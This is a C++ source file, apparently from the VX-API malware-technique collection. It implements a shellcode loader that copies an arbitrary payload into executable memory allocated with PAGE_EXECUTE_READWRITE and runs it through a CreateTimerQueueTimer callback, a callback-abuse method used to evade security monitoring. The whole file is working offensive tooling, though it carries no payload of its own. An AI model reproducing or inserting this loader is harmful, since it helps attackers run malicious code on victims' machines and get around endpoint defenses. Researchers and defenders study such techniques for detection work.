vxug-VXAPI/VX-API/MpfSceViaCreateTimerQueueTi...

47 lines
1.1 KiB
C++

#include "Win32Helper.h"
VOID InvokeCreateTimerQueueTimerCallbackRoutine(LPVOID lpParameter)
{
HANDLE Timer = NULL, Queue = NULL, Event = NULL;
Queue = CreateTimerQueue();
if (Queue == NULL)
goto EXIT_ROUTINE;
Event = CreateEventW(NULL, TRUE, FALSE, NULL);
if (Event == NULL)
goto EXIT_ROUTINE;
if (!CreateTimerQueueTimer(&Timer, Queue, (WAITORTIMERCALLBACK)lpParameter, NULL, 100, 0, 0))
goto EXIT_ROUTINE;
WaitForSingleObject(Event, INFINITE);
EXIT_ROUTINE:
if (Event)
CloseHandle(Event);
#pragma warning( push )
#pragma warning( disable : 6031)
if(Queue)
DeleteTimerQueue(Queue);
#pragma warning( pop )
return;
}
BOOL MpfSceViaCreateTimerQueueTimer(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes)
{
LPVOID BinAddress = NULL;
BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (BinAddress == NULL)
return FALSE;
CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes);
CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeCreateTimerQueueTimerCallbackRoutine, BinAddress, INFINITE);
return TRUE;
}